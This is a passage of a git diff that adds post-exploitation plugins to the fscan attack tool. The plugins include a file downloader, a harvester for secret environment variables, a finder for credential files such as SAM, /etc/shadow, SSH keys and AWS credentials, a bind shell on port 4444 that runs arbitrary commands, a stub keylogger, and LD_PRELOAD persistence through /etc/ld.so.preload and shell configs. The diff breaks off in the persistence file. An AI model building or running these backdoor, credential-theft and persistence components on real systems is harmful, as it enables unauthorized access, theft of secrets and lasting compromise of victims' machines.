如果没有指定保存路径,使用URL中的文件名 + if p.savePath == "" { + filename := p.extractFilenameFromURL(p.downloadURL) + if filename == "" { + filename = "downloaded_file" + } + p.savePath = filename + } + + return nil +} + +// extractFilenameFromURL 从URL中提取文件名 +func (p *DownloaderPlugin) extractFilenameFromURL(url string) string { + // 移除查询参数 + if idx := strings.Index(url, "?"); idx != -1 { + url = url[:idx] + } + + // 获取路径的最后一部分 + parts := strings.Split(url, "/") + if len(parts) > 0 { + filename := parts[len(parts)-1] + if filename != "" && !strings.Contains(filename, "=") { + return filename + } + } + + return "" +} + +// checkSavePathPermissions 检查保存路径权限 +func (p *DownloaderPlugin) checkSavePathPermissions() error { + // 获取保存目录 + saveDir := filepath.Dir(p.savePath) + if saveDir == "." || saveDir == "" { + // 使用当前目录 + var err error + saveDir, err = os.Getwd() + if err != nil { + return fmt.Errorf("获取当前目录失败: %v", err) + } + p.savePath = filepath.Join(saveDir, filepath.Base(p.savePath)) + } + + // 确保目录存在 + if err := os.MkdirAll(saveDir, 0755); err != nil { + return fmt.Errorf("创建保存目录失败: %v", err) + } + + // 检查写入权限 + testFile := filepath.Join(saveDir, ".fscan_write_test") + if file, err := os.Create(testFile); err != nil { + return fmt.Errorf("保存目录无写入权限: %v", err) + } else { + file.Close() + os.Remove(testFile) + } + + return nil +} + +// downloadFile 执行文件下载 +func (p *DownloaderPlugin) downloadFile(ctx context.Context) (map[string]interface{}, error) { + startTime := time.Now() + + // 创建带超时的HTTP客户端 + client := &http.Client{ + Timeout: p.downloadTimeout, + } + + // 创建请求 + req, err := http.NewRequestWithContext(ctx, "GET", p.downloadURL, nil) + if err != nil { + return nil, fmt.Errorf("创建HTTP请求失败: %v", err) + } + + // 设置User-Agent + req.Header.Set("User-Agent", "fscan-downloader/1.0") + + // 发送请求 + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("HTTP请求失败: %v", err) + } + defer resp.Body.Close() + + // 检查HTTP状态码 + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status) + } + + // 检查文件大小 + contentLength := resp.ContentLength + if contentLength > p.maxFileSize { + return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)", + contentLength, p.maxFileSize) + } + + // 创建保存文件 + outFile, err := os.Create(p.savePath) + if err != nil { + return nil, fmt.Errorf("创建保存文件失败: %v", err) + } + defer outFile.Close() + + // 使用带限制的Reader防止过大文件 + limitedReader := io.LimitReader(resp.Body, p.maxFileSize) + + // 复制数据 + written, err := io.Copy(outFile, limitedReader) + if err != nil { + // 清理部分下载的文件 + os.Remove(p.savePath) + return nil, fmt.Errorf("文件下载失败: %v", err) + } + + downloadTime := time.Since(startTime) + + // 返回下载信息 + downloadInfo := map[string]interface{}{ + "save_path": p.savePath, + "file_size": written, + "content_type": resp.Header.Get("Content-Type"), + "download_time": downloadTime, + } + + return downloadInfo, nil +} + +// 注册插件 +func init() { + RegisterLocalPlugin("downloader", func() Plugin { + return NewDownloaderPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/envinfo.go b/plugins/local/envinfo.go new file mode 100644 index 0000000..fd73e96 --- /dev/null +++ b/plugins/local/envinfo.go @@ -0,0 +1,171 @@ +package local + +import ( + "context" + "fmt" + "os" + "sort" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// EnvInfoPlugin 环境变量信息收集插件 - Linus式简化版本 +// +// 设计哲学:"做一件事并做好" +// - 专注于环境变量收集 +// - 过滤敏感信息关键词 +// - 简单有效的实现 +type EnvInfoPlugin struct { + name string +} + +// NewEnvInfoPlugin 创建环境变量信息插件 +func NewEnvInfoPlugin() *EnvInfoPlugin { + return &EnvInfoPlugin{ + name: "envinfo", + } +} + +// GetName 实现Plugin接口 +func (p *EnvInfoPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *EnvInfoPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行环境变量收集 - 直接、有效 +func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + var sensitiveVars []string + + output.WriteString("=== 环境变量信息收集 ===\n") + + // 获取所有环境变量 + envs := os.Environ() + output.WriteString(fmt.Sprintf("总环境变量数: %d\n\n", len(envs))) + + // 敏感关键词 - 直接硬编码,简单有效 + sensitiveKeywords := []string{ + "password", "passwd", "pwd", "secret", "key", "token", + "auth", "credential", "api", "access", "session", + "密码", "令牌", "密钥", "认证", + } + + // 重要环境变量 - 系统相关 + importantVars := []string{ + "PATH", "HOME", "USER", "USERNAME", "USERPROFILE", "TEMP", "TMP", + "HOMEPATH", "COMPUTERNAME", "USERDOMAIN", "PROCESSOR_ARCHITECTURE", + } + + output.WriteString("=== 重要环境变量 ===\n") + for _, envVar := range importantVars { + if value := os.Getenv(envVar); value != "" { + // PATH特殊处理 - 只显示条目数 + if envVar == "PATH" { + paths := strings.Split(value, string(os.PathListSeparator)) + output.WriteString(fmt.Sprintf("%s: %d个路径\n", envVar, len(paths))) + } else { + output.WriteString(fmt.Sprintf("%s: %s\n", envVar, value)) + } + } + } + + // 扫描所有环境变量寻找敏感信息 + output.WriteString("\n=== 潜在敏感环境变量 ===\n") + for _, env := range envs { + parts := strings.SplitN(env, "=", 2) + if len(parts) != 2 { + continue + } + + envName := strings.ToLower(parts[0]) + envValue := parts[1] + + // 检查是否包含敏感关键词 + for _, keyword := range sensitiveKeywords { + if strings.Contains(envName, keyword) { + // 脱敏显示:只显示前几个字符 + displayValue := envValue + if len(envValue) > 10 { + displayValue = envValue[:10] + "..." + } + + sensitiveInfo := fmt.Sprintf("%s: %s", parts[0], displayValue) + sensitiveVars = append(sensitiveVars, sensitiveInfo) + output.WriteString(sensitiveInfo + "\n") + common.LogSuccess(fmt.Sprintf("发现敏感环境变量: %s", parts[0])) + break + } + } + } + + if len(sensitiveVars) == 0 { + output.WriteString("未发现明显的敏感环境变量\n") + } + + // 统计信息 + output.WriteString(fmt.Sprintf("\n=== 统计结果 ===\n")) + output.WriteString(fmt.Sprintf("总环境变量: %d个\n", len(envs))) + output.WriteString(fmt.Sprintf("潜在敏感变量: %d个\n", len(sensitiveVars))) + + // 按长度统计 + shortVars, longVars := 0, 0 + for _, env := range envs { + if len(env) < 50 { + shortVars++ + } else { + longVars++ + } + } + output.WriteString(fmt.Sprintf("短变量(<50字符): %d个\n", shortVars)) + output.WriteString(fmt.Sprintf("长变量(≥50字符): %d个\n", longVars)) + + return &ScanResult{ + Success: len(sensitiveVars) > 0, + Output: output.String(), + Error: nil, + } +} + +// getAllEnvsByPrefix 获取指定前缀的环境变量 - 实用工具 +func (p *EnvInfoPlugin) getAllEnvsByPrefix(prefix string) map[string]string { + result := make(map[string]string) + prefix = strings.ToUpper(prefix) + + for _, env := range os.Environ() { + parts := strings.SplitN(env, "=", 2) + if len(parts) == 2 { + envName := strings.ToUpper(parts[0]) + if strings.HasPrefix(envName, prefix) { + result[parts[0]] = parts[1] + } + } + } + + return result +} + +// getSortedEnvNames 获取排序后的环境变量名列表 +func (p *EnvInfoPlugin) getSortedEnvNames() []string { + var names []string + for _, env := range os.Environ() { + parts := strings.SplitN(env, "=", 2) + if len(parts) >= 1 { + names = append(names, parts[0]) + } + } + + sort.Strings(names) + return names +} + +// 注册插件 +func init() { + RegisterLocalPlugin("envinfo", func() Plugin { + return NewEnvInfoPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/fileinfo.go b/plugins/local/fileinfo.go new file mode 100644 index 0000000..fdd10f8 --- /dev/null +++ b/plugins/local/fileinfo.go @@ -0,0 +1,189 @@ +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// FileInfoPlugin 文件信息收集插件 - Linus式简化版本 +// +// 设计哲学:删除所有不必要的复杂性 +// - 没有继承体系 +// - 没有权限检查(让系统告诉我们) +// - 没有平台检查(运行时错误更清晰) +// - 没有复杂配置(直接硬编码关键路径) +type FileInfoPlugin struct { + name string +} + +// NewFileInfoPlugin 创建文件信息插件 +func NewFileInfoPlugin() *FileInfoPlugin { + return &FileInfoPlugin{ + name: "fileinfo", + } +} + +// GetName 实现Plugin接口 +func (p *FileInfoPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *FileInfoPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行本地文件扫描 - 直接、简单、有效 +func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var foundFiles []string + + // 扫描关键敏感文件位置 - 删除复杂的配置系统 + sensitiveFiles := p.getSensitiveFiles() + for _, file := range sensitiveFiles { + if p.fileExists(file) { + foundFiles = append(foundFiles, file) + common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file)) + } + } + + // 搜索用户目录下的敏感文件 - 简化搜索逻辑 + userFiles := p.searchUserFiles() + foundFiles = append(foundFiles, userFiles...) + + // 构建结果 + output := fmt.Sprintf("文件扫描完成 - 发现 %d 个敏感文件", len(foundFiles)) + if len(foundFiles) > 0 { + output += "\n发现的文件:" + for _, file := range foundFiles { + output += "\n " + file + } + } + + return &ScanResult{ + Success: len(foundFiles) > 0, + Output: output, + Error: nil, + } +} + +// getSensitiveFiles 获取关键敏感文件列表 - 删除复杂的初始化逻辑 +func (p *FileInfoPlugin) getSensitiveFiles() []string { + var files []string + + switch runtime.GOOS { + case "windows": + files = []string{ + "C:\\boot.ini", + "C:\\Windows\\System32\\config\\SAM", + "C:\\Windows\\repair\\sam", + } + + // 添加用户相关路径 + if homeDir, err := os.UserHomeDir(); err == nil { + files = append(files, []string{ + filepath.Join(homeDir, ".ssh", "id_rsa"), + filepath.Join(homeDir, ".aws", "credentials"), + filepath.Join(homeDir, ".azure", "accessTokens.json"), + }...) + } + + case "linux", "darwin": + files = []string{ + "/etc/passwd", + "/etc/shadow", + "/root/.ssh/id_rsa", + "/root/.ssh/authorized_keys", + "/root/.bash_history", + "/etc/nginx/nginx.conf", + "/etc/apache2/apache2.conf", + } + + // 添加用户相关路径 + if homeDir, err := os.UserHomeDir(); err == nil { + files = append(files, []string{ + filepath.Join(homeDir, ".ssh", "id_rsa"), + filepath.Join(homeDir, ".aws", "credentials"), + filepath.Join(homeDir, ".bash_history"), + }...) + } + } + + return files +} + +// searchUserFiles 搜索用户目录敏感文件 - 简化搜索逻辑 +func (p *FileInfoPlugin) searchUserFiles() []string { + var foundFiles []string + + homeDir, err := os.UserHomeDir() + if err != nil { + return foundFiles + } + + // 关键目录 - 删除复杂的目录配置 + searchDirs := []string{ + filepath.Join(homeDir, "Desktop"), + filepath.Join(homeDir, "Documents"), + filepath.Join(homeDir, ".ssh"), + filepath.Join(homeDir, ".aws"), + } + + // 敏感文件关键词 - 删除复杂的白名单系统 + keywords := []string{"password", "key", "secret", "token", "credential", "passwd"} + + for _, dir := range searchDirs { + if !p.dirExists(dir) { + continue + } + + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + // 限制深度和大小 - 简单有效 + if info.IsDir() || info.Size() > 1024*1024 { // 1MB + return nil + } + + // 检查文件名是否包含敏感关键词 + filename := strings.ToLower(filepath.Base(path)) + for _, keyword := range keywords { + if strings.Contains(filename, keyword) { + foundFiles = append(foundFiles, path) + common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path)) + break + } + } + + return nil + }) + } + + return foundFiles +} + +// fileExists 检查文件是否存在 +func (p *FileInfoPlugin) fileExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// dirExists 检查目录是否存在 +func (p *FileInfoPlugin) dirExists(path string) bool { + info, err := os.Stat(path) + return err == nil && info.IsDir() +} + +// 注册插件 +func init() { + RegisterLocalPlugin("fileinfo", func() Plugin { + return NewFileInfoPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go new file mode 100644 index 0000000..e5e98fd --- /dev/null +++ b/plugins/local/forwardshell.go @@ -0,0 +1,232 @@ +package local + +import ( + "bufio" + "context" + "fmt" + "net" + "os" + "os/exec" + "runtime" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// ForwardShellPlugin 正向Shell插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现Shell服务功能 +// - 保持原有功能逻辑 +type ForwardShellPlugin struct { + name string + port int + listener net.Listener +} + +// NewForwardShellPlugin 创建正向Shell插件 +func NewForwardShellPlugin() *ForwardShellPlugin { + port := common.ForwardShellPort + if port <= 0 { + port = 4444 + } + + return &ForwardShellPlugin{ + name: "forwardshell", + port: port, + } +} + +// GetName 实现Plugin接口 +func (p *ForwardShellPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *ForwardShellPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行正向Shell服务 - 直接实现 +func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== 正向Shell服务器 ===\n") + output.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 启动正向Shell服务器 + err := p.startForwardShellServer(ctx, p.port) + if err != nil { + output.WriteString(fmt.Sprintf("正向Shell服务器错误: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString("✓ 正向Shell服务已完成\n") + common.LogSuccess(fmt.Sprintf("正向Shell服务完成 - 端口: %d", p.port)) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// startForwardShellServer 启动正向Shell服务器 +func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error { + // 监听指定端口 + listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) + if err != nil { + return fmt.Errorf("监听端口失败: %v", err) + } + defer listener.Close() + + p.listener = listener + common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port)) + + // 设置正向Shell为活跃状态 + common.ForwardShellActive = true + defer func() { + common.ForwardShellActive = false + }() + + // 主循环处理连接 + for { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + + // 设置监听器超时 + if tcpListener, ok := listener.(*net.TCPListener); ok { + tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) + } + + conn, err := listener.Accept() + if err != nil { + if netErr, ok := err.(net.Error); ok && netErr.Timeout() { + continue + } + common.LogError(fmt.Sprintf("接受连接失败: %v", err)) + continue + } + + common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String())) + go p.handleClient(conn) + } +} + +// handleClient 处理客户端连接 +func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { + defer clientConn.Close() + + // 发送欢迎信息 + welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) + clientConn.Write([]byte(welcome)) + + // 创建命令处理器 + scanner := bufio.NewScanner(clientConn) + + for scanner.Scan() { + command := strings.TrimSpace(scanner.Text()) + + if command == "" { + continue + } + + if command == "exit" { + clientConn.Write([]byte("Goodbye!\n")) + break + } + + // 执行命令并返回结果 + p.executeCommand(clientConn, command) + } + + if err := scanner.Err(); err != nil { + common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err)) + } +} + +// executeCommand 执行命令并返回结果 +func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { + var cmd *exec.Cmd + + // 根据平台创建命令 + switch runtime.GOOS { + case "windows": + cmd = exec.Command("cmd", "/c", command) + case "linux", "darwin": + cmd = exec.Command("/bin/sh", "-c", command) + default: + conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS))) + return + } + + // 设置命令超时 + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) + + // 执行命令并获取输出 + output, err := cmd.CombinedOutput() + + if ctx.Err() == context.DeadlineExceeded { + conn.Write([]byte("命令执行超时\n")) + return + } + + if err != nil { + conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err))) + return + } + + // 发送命令输出 + if len(output) == 0 { + conn.Write([]byte("(命令执行成功,无输出)\n")) + } else { + conn.Write(output) + if !strings.HasSuffix(string(output), "\n") { + conn.Write([]byte("\n")) + } + } + + // 发送命令提示符 + prompt := p.getPrompt() + conn.Write([]byte(prompt)) +} + +// getPrompt 获取平台特定的命令提示符 +func (p *ForwardShellPlugin) getPrompt() string { + hostname, _ := os.Hostname() + username := os.Getenv("USER") + if username == "" { + username = os.Getenv("USERNAME") // Windows + } + if username == "" { + username = "user" + } + + switch runtime.GOOS { + case "windows": + return fmt.Sprintf("%s@%s> ", username, hostname) + case "linux", "darwin": + return fmt.Sprintf("%s@%s$ ", username, hostname) + default: + return fmt.Sprintf("%s@%s# ", username, hostname) + } +} + +// 注册插件 +func init() { + RegisterLocalPlugin("forwardshell", func() Plugin { + return NewForwardShellPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/init.go b/plugins/local/init.go new file mode 100644 index 0000000..ac309da --- /dev/null +++ b/plugins/local/init.go @@ -0,0 +1,77 @@ +package local + +import ( + "context" + "os" + "strings" + "sync" + + "github.com/shadow1ng/fscan/common" +) + +// Plugin 本地扫描插件接口 - 统一架构,消除过度设计 +// +// Linus哲学:"好代码没有特殊情况" +// - 和services、web插件使用完全相同的接口 +// - 删除复杂的继承体系和权限检查 +// - 让代码直接、简单、清晰 +type Plugin interface { + GetName() string + GetPorts() []int // local插件通常返回空数组 + Scan(ctx context.Context, info *common.HostInfo) *ScanResult +} + +// ScanResult 本地扫描结果 - 简化数据结构 +type ScanResult struct { + Success bool + Output string + Error error +} + +// 本地插件注册表 +var ( + localPluginRegistry = make(map[string]func() Plugin) + localPluginMutex sync.RWMutex +) + +// RegisterLocalPlugin 注册本地插件 +func RegisterLocalPlugin(name string, creator func() Plugin) { + localPluginMutex.Lock() + defer localPluginMutex.Unlock() + localPluginRegistry[name] = creator +} + +// GetLocalPlugin 获取指定本地插件 +func GetLocalPlugin(name string) Plugin { + localPluginMutex.RLock() + defer localPluginMutex.RUnlock() + + if creator, exists := localPluginRegistry[name]; exists { + return creator() + } + return nil +} + +// GetAllLocalPlugins 获取所有已注册本地插件的名称 +func GetAllLocalPlugins() []string { + localPluginMutex.RLock() + defer localPluginMutex.RUnlock() + + var plugins []string + for name := range localPluginRegistry { + plugins = append(plugins, name) + } + return plugins +} + +// GetSystemInfo 获取基本系统信息 - 实用工具函数 +func GetSystemInfo() string { + var info strings.Builder + + // 直接使用os包,避免复杂依赖 + if hostname, err := os.Hostname(); err == nil { + info.WriteString("Hostname: " + hostname + " ") + } + + return strings.TrimSpace(info.String()) +} \ No newline at end of file diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go new file mode 100644 index 0000000..af52944 --- /dev/null +++ b/plugins/local/keylogger.go @@ -0,0 +1,281 @@ +package local + +import ( + "context" + "fmt" + "os" + "runtime" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// KeyloggerPlugin 键盘记录插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现键盘记录功能 +// - 保持原有功能逻辑 +type KeyloggerPlugin struct { + name string + outputFile string + isRunning bool + stopChan chan struct{} + keyBuffer []string + bufferMutex sync.RWMutex +} + +// NewKeyloggerPlugin 创建键盘记录插件 +func NewKeyloggerPlugin() *KeyloggerPlugin { + outputFile := common.KeyloggerOutputFile + if outputFile == "" { + outputFile = "keylog.txt" + } + + return &KeyloggerPlugin{ + name: "keylogger", + outputFile: outputFile, + stopChan: make(chan struct{}), + keyBuffer: make([]string, 0), + } +} + +// GetName 实现Plugin接口 +func (p *KeyloggerPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *KeyloggerPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行键盘记录 - 直接实现 +func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== 键盘记录 ===\n") + output.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 检查输出文件权限 + if err := p.checkOutputFilePermissions(); err != nil { + output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查平台要求 + if err := p.checkPlatformRequirements(); err != nil { + output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 启动键盘记录 + err := p.startKeylogging(ctx) + if err != nil { + output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 输出结果 + output.WriteString("✓ 键盘记录已完成\n") + output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))) + output.WriteString(fmt.Sprintf("日志文件: %s\n", p.outputFile)) + + common.LogSuccess(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// startKeylogging 启动键盘记录 +func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error { + p.isRunning = true + defer func() { + p.isRunning = false + }() + + // 根据平台启动相应的键盘记录 + var err error + switch runtime.GOOS { + case "windows": + err = p.startWindowsKeylogging(ctx) + case "linux": + err = p.startLinuxKeylogging(ctx) + case "darwin": + err = p.startDarwinKeylogging(ctx) + default: + err = fmt.Errorf("不支持的平台: %s", runtime.GOOS) + } + + if err != nil { + return fmt.Errorf("键盘记录失败: %v", err) + } + + // 保存到文件 + if err := p.saveKeysToFile(); err != nil { + common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err)) + } + + return nil +} + +// checkOutputFilePermissions 检查输出文件权限 +func (p *KeyloggerPlugin) checkOutputFilePermissions() error { + file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600) + if err != nil { + return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err) + } + file.Close() + return nil +} + +// checkPlatformRequirements 检查平台特定要求 +func (p *KeyloggerPlugin) checkPlatformRequirements() error { + switch runtime.GOOS { + case "windows": + return p.checkWindowsRequirements() + case "linux": + return p.checkLinuxRequirements() + case "darwin": + return p.checkDarwinRequirements() + default: + return fmt.Errorf("不支持的平台: %s", runtime.GOOS) + } +} + +// addKeyToBuffer 添加按键到缓冲区 +func (p *KeyloggerPlugin) addKeyToBuffer(key string) { + p.bufferMutex.Lock() + defer p.bufferMutex.Unlock() + + timestamp := time.Now().Format("2006-01-02 15:04:05") + entry := fmt.Sprintf("[%s] %s", timestamp, key) + p.keyBuffer = append(p.keyBuffer, entry) +} + +// saveKeysToFile 保存键盘记录到文件 +func (p *KeyloggerPlugin) saveKeysToFile() error { + p.bufferMutex.RLock() + defer p.bufferMutex.RUnlock() + + if len(p.keyBuffer) == 0 { + common.LogInfo("没有捕获到键盘输入") + return nil + } + + file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return fmt.Errorf("无法打开输出文件: %v", err) + } + defer file.Close() + + // 写入头部信息 + header := fmt.Sprintf("=== 键盘记录日志 ===\n") + header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05")) + header += fmt.Sprintf("平台: %s\n", runtime.GOOS) + header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)) + header += fmt.Sprintf("========================\n\n") + + if _, err := file.WriteString(header); err != nil { + return fmt.Errorf("写入头部信息失败: %v", err) + } + + // 写入键盘记录 + for _, entry := range p.keyBuffer { + if _, err := file.WriteString(entry + "\n"); err != nil { + return fmt.Errorf("写入键盘记录失败: %v", err) + } + } + + return nil +} + +// 平台特定的键盘记录实现 - 简化版本,仅做演示 +func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error { + // Windows平台键盘记录实现 + // 在实际实现中需要使用Windows API + p.addKeyToBuffer("演示键盘记录 - Windows平台") + + // 模拟记录一段时间 + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(5 * time.Second): + // 模拟结束 + } + + return nil +} + +func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error { + // Linux平台键盘记录实现 + // 在实际实现中需要访问/dev/input/event*设备 + p.addKeyToBuffer("演示键盘记录 - Linux平台") + + // 模拟记录一段时间 + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(5 * time.Second): + // 模拟结束 + } + + return nil +} + +func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error { + // macOS平台键盘记录实现 + // 在实际实现中需要使用Core Graphics框架 + p.addKeyToBuffer("演示键盘记录 - macOS平台") + + // 模拟记录一段时间 + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(5 * time.Second): + // 模拟结束 + } + + return nil +} + +// 平台特定的要求检查 - 简化版本 +func (p *KeyloggerPlugin) checkWindowsRequirements() error { + // Windows平台要求检查 + return nil +} + +func (p *KeyloggerPlugin) checkLinuxRequirements() error { + // Linux平台要求检查 + return nil +} + +func (p *KeyloggerPlugin) checkDarwinRequirements() error { + // macOS平台要求检查 + return nil +} + +// 注册插件 +func init() { + RegisterLocalPlugin("keylogger", func() Plugin { + return NewKeyloggerPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go new file mode 100644 index 0000000..e5bcbbb --- /dev/null +++ b/plugins/local/ldpreload.go @@ -0,0 +1,334 @@ +//go:build linux + +package local + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// LDPreloadPlugin LD_PRELOAD持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现持久化功能 +// - 保持原有功能逻辑 +type LDPreloadPlugin struct { + name string + targetFile string +} + +// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 +func NewLDPreloadPlugin() *LDPreloadPlugin { + targetFile := common.PersistenceTargetFile + if targetFile == "" { + targetFile = "" + } + + return &LDPreloadPlugin{ + name: "ldpreload", + targetFile: targetFile, + } +} + +// GetName 实现Plugin接口 +func (p *LDPreloadPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *LDPreloadPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行LD_PRELOAD持久化 - 直接实现 +func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "linux" { + output.WriteString("LD_PRELOAD持久化只支持Linux平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.targetFile == "" { + output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定目标文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidFile(p.targetFile) { + output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", p.targetFile)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效文件类型"), + } + } + + output.WriteString("=== LD_PRELOAD持久化 ===\n") + output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + var results []string + var successCount int + + // 1. 复制文件到系统目录 + systemPath, err := p.copyToSystemPath() + if err != nil { + output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath)) + output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath)) + successCount++ + } + + // 2. 添加到全局环境变量 + err = p.addToEnvironment(systemPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err)) + } else { + results = append(results, "已添加到 /etc/environment") + output.WriteString("✓ 已添加到全局环境变量\n") + successCount++ + } + + // 3. 添加到shell配置文件 + shellConfigs, err := p.addToShellConfigs(systemPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", "))) + output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", "))) + successCount++ + } + + // 4. 创建库配置文件 + err = p.createLdConfig(systemPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err)) + } else { + results = append(results, "已创建 /etc/ld.so.preload 配置") + output.WriteString("✓ 已创建ld预加载配置\n") + successCount++ + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4)) + + if successCount > 0 { + common.LogSuccess(fmt.Sprintf("LD_PRELOAD持久化完成: %d个方法成功", successCount)) + } + + return &ScanResult{ + Success: successCount > 